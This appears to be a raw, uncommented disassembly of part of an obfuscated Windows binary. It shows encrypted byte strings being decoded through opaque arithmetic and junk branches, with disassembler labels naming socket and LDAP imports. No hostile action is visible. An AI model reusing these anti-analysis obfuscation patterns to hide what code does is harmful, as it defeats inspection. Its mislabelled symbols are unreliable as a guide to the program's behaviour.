sub r10b, 0x66
jmp 0x14008be90
movabs rcx, 0x5b6c8e50b0af1826
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0xa
jmp 0x14008be80
lea rcx, [rbp + 0x15d2928]
jmp 0x14008cc2b
lea rcx, [rbp + 0x51cb8a]
jmp 0x14008cc2b
lea rcx, [rbp + 0xf50]
xor r8d, r8d
xor edx, edx
call fcn.140040820
test al, al
je 0x1400994b4
lea rcx, str.General
call fcn.140036770
lea rdx, [0x140225f90]
lea rcx, [rbp + 0x6c8]
call fcn.140002680
mov rdx, rax
mov rcx, qword [0x14022c170]
call fcn.140069e40
mov rcx, rax
call fcn.14006b1d0
mov rsi, rax
mov byte [rbp + 0x708], 9
mov byte [rbp + 0x709], 0x5f
mov byte [rbp + 0x70a], reloc.WS2_32.dll_send
mov byte [rbp + 0x70b], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0x70c], Ordinal_30
mov byte [rbp + 0x70d], reloc.WS2_32.dll_sendto
mov byte [rbp + 0x70e], Ordinal_217
mov byte [rbp + 0x70f], reloc.WS2_32.dll_listen
mov byte [rbp + 0x710], Ordinal_30
mov byte [rbp + 0x711], 0x62
mov byte [rbp + 0x712], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x713], reloc.WLDAP32.dll_Ordinal_26
mov byte [rbp + 0x714], reloc.WS2_32.dll_sendto
mov byte [rbp + 0x715], WSASetLastError
mov byte [rbp + 0x716], 0xfe
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x717], xmm0
mov dword [rbp + 0x727], eax
movabs r13, 0x3e211cd08c48149e
movabs r14, 0x18b75d1b81e9b0f6
movabs r15, 0x3fb86b9b1293088e
movzx r11d, byte [rsp + 0x40]
nop word [rax + rax]
mov r9, qword [0x14022c4b8]
mov r8, qword [0x14022c4b0]
nop
xor edi, edi
cmp rdi, 0x23
jae 0x14008d810
movzx ebx, byte [rbp + rdi + 0x708]
mov r10, rbx
cmp r9, rdi
ja 0x14008d807
lea rax, [r8 + 1]
cmp r9, rax
jae 0x14008cd73
lea rcx, [rdi + r13]
mov rax, rcx
and rax, rbx
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, rbx
sub r11b, 0x52
jmp 0x14008cdb0
je 0x14008d774
inc rax
cmp r9, rax
je 0x14008d6dc
lea rax, [r8 + 5]
cmp r9, rax
je 0x14008d6a1
lea rax, [r8 + 2]
cmp r9, rax
je 0x14008d673
lea rax, [r8 + 8]
cmp r9, rax
je 0x14008d61d
nop dword [rax]
cmp r8, rdi
ja 0x14008d7fe
lea rax, [r8 + 8]
cmp r9, rax
jae 0x14008cdde
lea rdx, [rdi + r14]
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_35
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14008ce1f
lea rax, [r8 + 1]
cmp r9, rax
je 0x14008d5fc
lea rax, [r8 + 3]
cmp r9, rax
je 0x14008d5e8
lea rax, [r8 + 5]
cmp r9, rax
je 0x14008d5d4
lea rax, [r8 + 4]
cmp r9, rax
je 0x14008d5ad
lea rax, [r8 + 7]
cmp r9, rax
je 0x14008d579
nop
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x14008d198
nop dword [rax]
lea rax, [r8 + 0xa]
cmp r9, rax
je 0x14008d174
lea rax, [r8 + 6]
cmp r9, rax
je 0x14008d143
lea rax, [r8 + 0x28]
cmp r9, rax
je 0x14008d12f
lea rax, [r8 + 0x64]
cmp r9, rax
je 0x14008d11b
lea rax, [r8 + 0x3e8]
cmp r9, rax
je 0x14008d0f4
lea rax, [r8 + 0x61]
cmp r9, rax
je 0x14008d0c0
lea r9, [r8 + 0x40]
lea r8, [r9 + 0x5a]
lea rax, [r8 + 0x10]
cmp r9, rax
jb 0x14008d7d6
lea rax, [r8 + 0x80]
cmp r9, rax
jb 0x14008d7ae
lea rax, [r8 + 0x40]
cmp r9, rax
jb 0x14008cf5d
lea rax, [r8 + 0x400]
cmp r9, rax
jb 0x14008cf3e
lea rax, [r8 + 0x7a]
cmp r9, rax
jb 0x14008d092
lea r9, [r8 + 0x42]
lea r8, [r9 + 0x2a]
lea rax, [r8 + 0x20]
cmp r9, rax
ja 0x14008d059
lea rax, [r8 + 0x200]
cmp r9, rax
ja 0x14008d032
lea rax, [r8 + 0x42]
cmp r9, rax
ja 0x14008d00a
lea rax, [r8 + 0x1000]
cmp r9, rax
ja 0x14008cfd2
lea rax, [r8 + 0x41]
cmp r9, rax
ja 0x14008cfb0
lea rax, [r8 + 1]
cmp r9, rax
ja 0x14008cf84
lea rax, [r8 + 4]
cmp r9, rax
ja 0x14008ce30
lea r9, [r8 + 0x64]
lea r8, [r9 + 1]
jmp 0x14008ce30
lea rdx, [rdi + r15]
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14008cdb0
movabs rdx, 0xc37631f9fa02df52
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x3e
add r11b, dl
jmp 0x14008cd44
movabs rcx, 0x4978af3af6bd5e74
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x2c
inc r8
dec rdi
inc rdi
jmp 0x14008cd32
movabs rdx, 0x50f43bf8c59d0bfc
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
jmp 0x14008d515
movabs rdx, 0x586fc8b6947cb984
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14008cd32
movabs rdx, 0xdc2d8f157bec9048
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 4
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14008d6fe
movabs rdx, 0x5feb5574635c670c
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x54
add r11b, dl
jmp 0x14008d72c
movabs rdx, 0xe3a91bd34acc3dd0
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, byte [rbp + rdi + 0x708]
add rax, r8
add rdi, rax
inc rdi
jmp 0x14008cd32
movabs rcx, 0xad038bc08d63d6ba
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x16
mov byte [rbp + rdi + 0x708], r11b
inc rdi
jmp 0x14008cd32
movabs rcx, 0x944c2ea50b7a25c4
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x5c
movzx eax, byte [rbp + rdi + 0x708]
add rax, r8
add rdi, rax
inc rdi
jmp 0x14008cd32
movabs rdx, 0x9bc7bb62da59d34c
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x14
add r11b, dl
jmp 0x14008d6fe
movabs rdx, 0xa3434820a93980d4
mov ecx, reloc.WLDAP32.dll_Ordinal_26
jmp 0x14008d6b0
movabs rdx, 0xaabed4de78192e5c
mov ecx, 0x3e
jmp 0x14008d682
movabs rdx, 0x2e7c9b3d5f890520
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
inc r8
dec rdi
inc rdi
jmp 0x14008cd32
movabs rdx, 0xb23a619c46f8dbe4
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x3c
jmp 0x14008d63c
lea rax, [r8 + 0x7a]
cmp r9, rax
jae 0x14008d267
lea rdx, [rdi + r13]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x52
add r11b, dl
lea rax, [r8 + r9]
cmp rax, 1
je 0x14008d549
lea rax, [r8 + 0x28]
cmp r9, rax
jbe 0x14008d330
movabs rdx, 0xcde3ddb16d2ce9a6
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
cmp r9, 2
jae 0x14008d4f1
lea rax, [r8 + 0x40]
cmp r9, rax
jbe 0x14008d431
movabs rdx, 0xe69b3accef169a9c
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x44
add r11b, dl
cmp r8, 3
jb 0x14008d0b0
movabs rdx, 0xc1317b17e4b836f4
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx ecx, bl
sub cl, al
add cl, dl
lea r11d, [rcx*2 - 0x58]
jmp 0x14008d63f
lea rax, [r8 + 1]
cmp r9, rax
jne 0x14008d2a4
movabs rcx, 0x316eba3703d361ec
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x74
movzx eax, byte [rbp + rdi + 0x708]
add rax, r8
add rdi, rax
inc rdi
jmp 0x14008cd32
lea rax, [r8 + 3]
cmp r9, rax
jne 0x14008d2d5
movabs rdx, 0x29f32d7934f3b464
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14008d6fe
lea rax, [r8 + 2]
cmp r9, rax
jne 0x14008d301
movabs rcx, 0x2277a0bb661406dc
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 4
jmp 0x14008d6c4
lea rax, [r8 + 5]
cmp r9, rax
jne 0x14008d1be
movabs rdx, 0x9eb9da5c7ea43018
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
jmp 0x14008d515
lea rax, [r8 + 1]
cmp r9, rax
jne 0x14008d35d
movabs rdx, 0x4a26175285bd12e2
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x2e
jmp 0x14008d63c
lea rax, [r8 + 2]
cmp r9, rax
jne 0x14008d38f
movabs rcx, 0x42aa8a94b6dd655a
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x76
dec rdi
inc rdi
jmp 0x14008cd32
lea rax, [r8 + 7]
cmp r9, rax
jne 0x14008d3bf
movabs rdx, 0x33b37119191e0a4a
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 6
add r11b, dl
jmp 0x14008d6fe
lea rax, [r8 + 3]
cmp r9, rax
jne 0x14008d3f0
movabs rdx, 0xaff5aaba31ae3386
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14008d72c
lea rax, [r8 + 8]
cmp r9, rax
jne 0x14008d1fc
movabs rcx, 0x2c37e45b4a3e5cc2
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x4e
movzx eax, byte [rbp + rdi + 0x708]
add rax, r8
add rdi, rax
inc rdi
jmp 0x14008cd32
lea rax, [r8 + 1]
cmp r9, rax
jne 0x14008d473
movabs rdx, 0x62dd746e07a6c3d8
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, byte [rbp + rdi + 0x708]
add rax, r8
add rdi, rax
inc rdi
jmp 0x14008cd32
lea rax, [r8 + 3]
cmp r9, rax
jne 0x14008d4a3
movabs rdx, 0x5b61e7b038c71650
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x30
add r11b, dl
jmp 0x14008d6fe
lea rax, [r8 + 4]
cmp r9, rax
jne 0x14008d4c0
movabs rdx, 0x4c6ace349b07bb40
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x14008d682
lea rax, [r8 + 7]
cmp r9, rax
jne 0x14008d235
movabs rdx, 0x44ef4176cc280db8
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 8
jmp 0x14008d63c
movabs rdx, 0x3d73b4b8fd486030
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, byte [rbp + rdi + 0x708]
sub r11b, al
sub r11b, 0x50
add r11b, bl
add r11b, dl
movabs rcx, 0x7b94d189899074ce
add rcx, rdi
movzx eax, cl
and al, bl
mov edx, Ordinal_50
sub dl, al
add dl, dl
add dl, cl
add dl, r11b
add dl, bl
mov byte [rbp + rdi + 0x708], dl
jmp 0x14008d6c4
movabs rdx, 0xb9b5ee5a15d8896c
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 6
sub cl, al
lea r11d, [rcx + rcx]
sub r11b, byte [rbp + rdi + 0x708]
add r11b, bl
add r11b, dl
jmp 0x14008d6fe
movabs rcx, 0x770b63c55efb2412
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x7e
movzx eax, byte [rbp + rdi + 0x708]
add rax, r8
add rdi, rax
inc rdi
jmp 0x14008cd32
movabs rdx, 0x7e86f0832ddad19a
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x36
add r11b, dl
jmp 0x14008d6fe
movabs rdx, 0x86027d40fcba7f22
mov ecx, 9
jmp 0x14008d6b0
movabs rdx, 0x8d7e09fecb9a2caa
mov ecx, reloc.WLDAP32.dll_Ordinal_45
jmp 0x14008d682
movabs rdx, 0x94f996bc9a79da32
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x5e
jmp 0x14008d63c
movabs rdx, 0x9c75237a695987ba
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x16
add r11b, dl
movabs rdx, 0xff5297e871004b92
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 1
sub cl, al
add cl, cl
add cl, dl
add cl, bl
mov byte [rbp + rdi + 0x708], cl
inc r8
dec rdi
inc rdi
jmp 0x14008cd32
movabs rdx, 0xa3f0b03838393542
mov ecx, Ordinal_26
add rdx, rdi
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
dec rdi
inc rdi
jmp 0x14008cd32
movabs rdx, 0xab6c3cf60718e2ca
mov ecx, 0x3d
add rdx, rdi
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
add r9, r8
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14008cd32
mov rbx, r10
movabs rcx, 0xb2e7c9b3d5f89052
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x3e
movabs rcx, 0xf7d70b2aa2209e0a
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, 0x46
add cl, bl
movzx eax, cl
mov byte [rbp + rdi + 0x708], al
inc r8
add rax, r8
sub rdi, rax
movabs rdx, 0x35f827fb2e68b2a8
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0x34
sub cl, al
add cl, cl
add cl, dl
add cl, bl
mov byte [rbp + rdi + 0x708], cl
inc r9
mov rax, r12
sub rax, r9
add rdi, rax
movzx eax, byte [rbp + rdi + 0x708]
add rax, r8
add rdi, rax
inc rdi
jmp 0x14008cd32
movabs rdx, 0xba635671a4d83dda
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, 5
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, byte [rbp + rdi + 0x708]
add rax, r8
add rdi, rax
inc rdi
jmp 0x14008cd32
movabs rdx, 0x4733f858e172b616
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0x33
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14008cd30
movabs rdx, 0xcaf1beb7c8e28cda
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 5
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14008cd20
lea rcx, [rbp + 0x16de130]
jmp 0x14008d817
lea rcx, [rbp + 0xf5f5ce]
jmp 0x14008d817
lea rcx, [rbp + 0x708]
mov rdx, rsi
call fcn.140035c60
lea rdx, [0x140225eb0]
lea rcx, [rbp + 0x6e8]
call fcn.140002680
mov rdx, rax
mov rcx, qword [0x14022c170]
call fcn.140069e40
mov rcx, rax
call fcn.14006b1d0
mov rsi, rax
mov byte [rbp + 0x730], Ordinal_45
mov byte [rbp + 0x731], reloc.WLDAP32.dll_Ordinal_30
mov byte [rbp + 0x732], 0xa
mov byte [rbp + 0x733], 0x53
mov byte [rbp + 0x734], Ordinal_45
mov byte [rbp + 0x735], Ordinal_30
mov byte [rbp + 0x736], 1
mov byte [rbp + 0x737], 2
mov byte [rbp + 0x738], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0x739], Ordinal_30
mov byte [rbp + 0x73a], 0x7a
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x73b], xmm0
mov qword [rbp + 0x74b], rax
movabs r14, 0x8308b98bb027f586
movabs r15, 0x57215e6bd720df3a
movabs r13, 0x879a715258a3295e
movzx r11d, byte [rsp + 0x40]
mov r9, qword [0x14022c4b8]
mov r8, qword [0x14022c4b0]
nop
xor edi, edi
movabs rcx, 0x67c3768cbf3edaee
cmp rdi, 0x23
jae 0x14008e4db
movzx ebx, byte [rbp + rdi + 0x730]
mov r10, rbx
cmp r9, rdi
ja 0x14008e4cf
lea rax, [r8 + 1]
cmp r9, rax
jae 0x14008d92c
add rcx, rdi
mov rax, rbx
and rax, rcx
imul r11, rax, 0xfffffffffffffffe
add r11, rbx
add r11, rcx
add r11b, 0x7e
jmp 0x14008d950
je 0x14008e43c
lea rax, [r8 + 3]
cmp r9, rax
je 0x14008e3d9
lea rax, [r8 + 2]
cmp r9, rax
je 0x14008e3ab
nop dword [rax]
cmp r8, rdi
ja 0x14008e4c6
lea rax, [r8 + 0x41]
cmp r9, rax
jae 0x14008d97e
lea rdx, [rdi + r14]
movzx eax, dl
and al, bl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14008d9b0
lea rax, [r8 + 1]
cmp r9, rax
je 0x14008e358
lea rax, [r8 + 3]
cmp r9, rax
je 0x14008e32a
lea rax, [r8 + 8]
cmp r9, rax
je 0x14008e2f1
nop word [rax + rax]
lea rax, [r8 + r9]
cmp rax, rdi
jbe 0x14008df58
nop dword [rax]
lea rax, [r8 + 2]
cmp r9, rax
je 0x14008df30
lea rax, [r8 + 0x200]
cmp r9, rax
je 0x14008deff
lea rax, [r8 + 0x80]
cmp r9, rax
je 0x14008deeb
lea rax, [r8 + 0x64]
cmp r9, rax
je 0x14008ded7
lea rax, [r8 + 0x42]
cmp r9, rax
je 0x14008deaf
lea rax, [r8 + 0x40]
cmp r9, rax
je 0x14008de77
lea rax, [r8 + 0x28]
cmp r9, rax
je 0x14008de4f
lea rax, [r8 + 1]
cmp r9, rax
je 0x14008de16
lea rax, [r8 + 0x2a]
cmp r9, rax
je 0x14008d9c0
lea r9, [r8 + 0x1000]
lea r8, [r9 + 0x5a]
lea rax, [r8 + 0x400]
cmp r9, rax
jb 0x14008e49e
lea rax, [r8 + 0x3e8]
cmp r9, rax
jb 0x14008e476
lea rax, [r8 + 0x200]
cmp r9, rax
jb 0x14008db8d
lea rax, [r8 + 0x80]
cmp r9, rax
jb 0x14008db6e
lea rax, [r8 + 6]
cmp r9, rax
jb 0x14008db4f
lea rax, [r8 + 5]
cmp r9, rax
jb 0x14008ddb9
lea rax, [r8 + 4]
cmp r9, rax
jb 0x14008dd63
lea rax, [r8 + 3]
cmp r9, rax
jb 0x14008dd12
lea rax, [r8 + 2]
cmp r9, rax
jb 0x14008dcdf
lea r9, [r8 + 0x61]
lea r8, [r9 + 0x80]
lea rax, [r8 + 0x1000]
cmp r9, rax
ja 0x14008dcab
lea rax, [r8 + 0x400]
cmp r9, rax
ja 0x14008dc84
lea rax, [r8 + 0xa]
cmp r9, rax
ja 0x14008dc61
lea rax, [r8 + 9]
cmp r9, rax
ja 0x14008dc2e
lea rax, [r8 + 8]
cmp r9, rax
ja 0x14008dc0b
lea rax, [r8 + 6]
cmp r9, rax
ja 0x14008dbe8
lea rax, [r8 + 5]
cmp r9, rax
ja 0x14008dbbf
lea rax, [r8 + 0x3e8]
cmp r9, rax
ja 0x14008d9c0
lea r9, [r8 + 0x40]
lea r8, [r9 + 0x200]
jmp 0x14008d9c0
lea rdx, [rdi + r15]
movzx eax, dl
and al, bl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14008d9b0
lea rdx, [rdi + r13]
movzx eax, bl
and al, dl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14008d950
movabs rdx, 0xb8138438da257382
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movabs rcx, 0x67c3768cbf3edaee
jmp 0x14008d8fe
movabs rcx, 0x7937f22a84444078
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x48
dec rdi
inc rdi
jmp 0x14008d8e2
movabs rcx, 0xa9b1051105c68a9c
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x44
jmp 0x14008e3fc
movabs rcx, 0xda2a17f78748d4c0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x40
jmp 0x14008e424
movabs rcx, 0xaa32ade08cb1ee4
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x3c
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14008d8e2
movabs rcx, 0x3b1c3dc48a4d6908
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x38
jmp 0x14008e27b
movabs rdx, 0x6b9550ab0bcfb32c
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x34
add r11b, dl
jmp 0x14008e2a9
movabs rcx, 0x9c0e63918d51fd50
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x30
movzx eax, byte [rbp + rdi + 0x730]
add rax, r8
add rdi, rax
inc rdi
jmp 0x14008d8e2
movabs rdx, 0x953d12d1d117b6aa
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
mov byte [rbp + rdi + 0x730], r11b
inc rdi
jmp 0x14008d8e2
movabs rdx, 0xc5b625b8529a00ce
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
cmp r8, 6
jb 0x14008dd02
movabs rcx, 0x57e13c14330b3ad4
add rcx, rdi
movzx eax, cl
and al, bl
mov edx, reloc.WLDAP32.dll_Ordinal_26
sub dl, al
add dl, dl
add dl, cl
add dl, bl
lea r11d, [rdx + rdx]
jmp 0x14008e37b
movabs rdx, 0xf62f389ed41c4af2
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
cmp r9, 0x42
jae 0x14008e226
lea rax, [r8 + 0xa]
cmp r9, rax
jbe 0x14008e104
movabs rdx, 0x3c9bf9154222203c
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
jmp 0x14008dd29
movabs rdx, 0x26a84b85559e9516
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0x33
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
lea rax, [r8 + r9]
cmp rax, 0x40
je 0x14008e250
lea rax, [r8 + 0x200]
cmp r9, rax
jbe 0x14008e045
movabs rdx, 0xb9933f8991fa2ab6
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 3
jmp 0x14008dd7a
movabs rdx, 0x1234594620efc124
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 2
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, byte [rbp + rdi + 0x730]
add rax, r8
add rdi, rax
inc rdi
jmp 0x14008d8e2
movabs rdx, 0x73267f1323f4556c
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 6
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14008e27b
movabs rdx, 0xa39f91f9a5769f90
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14008d8e2
movabs rdx, 0xd418a4e026f8e9b4
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0xa
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14008e424
movabs rdx, 0x491b7c6a87b33d8
mov ecx, recv
jmp 0x14008e3e8
movabs rdx, 0x350acaad29fd7dfc
mov ecx, recv
jmp 0x14008e3ba
movabs rdx, 0x6583dd93ab7fc820
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc r8
dec rdi
inc rdi
jmp 0x14008d8e2
movabs rdx, 0x95fcf07a2d021244
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14008e37b
lea rax, [r8 + 0x1000]
cmp r9, rax
jae 0x14008df80
movabs rdx, 0x67c3768cbf3edaee
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0x3f
jmp 0x14008ddd0
lea rcx, [r8 + 1]
cmp r9, rcx
jne 0x14008dfbd
movabs rcx, 0x6117317604feb0c
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x54
movzx eax, byte [rbp + rdi + 0x730]
add rax, r8
add rdi, rax
inc rdi
jmp 0x14008d8e2
lea rax, [r8 + 2]
cmp r9, rax
jne 0x14008dfe9
movabs rcx, 0xa51f4d4a5d4b56c4
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x5c
jmp 0x14008e27b
lea rax, [r8 + 3]
cmp r9, rax
jne 0x14008e015
movabs rcx, 0x442d277d5a46c27c
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x64
jmp 0x14008e424
lea rax, [rcx + 1]
cmp r9, rax
jne 0x14008dddc
movabs rcx, 0x13b41496d8c47858
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x68
jmp 0x14008e3fc
lea rax, [r8 + 1]
cmp r9, rax
jne 0x14008e076
movabs rdx, 0x891a2ca31077e092
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 1
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14008e37b
lea rax, [r8 + 3]
cmp r9, rax
jne 0x14008e0a8
movabs rcx, 0x282806d60d734c4a
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 6
dec rdi
inc rdi
jmp 0x14008d8e2
lea rax, [r8 + 4]
cmp r9, rax
jne 0x14008e0d4
movabs rcx, 0xc735e1090a6eb802
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0xe
jmp 0x14008e424
lea rax, [r8 + 2]
cmp r9, rax
jne 0x14008dd86
movabs rcx, 0x6643bb3c076a23ba
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x16
jmp 0x14008e27b
lea rax, [r8 + 1]
cmp r9, rax
jne 0x14008e146
movabs rdx, 0xc22e62ec09fd618
add rdx, rdi
movzx eax, dl
and al, bl
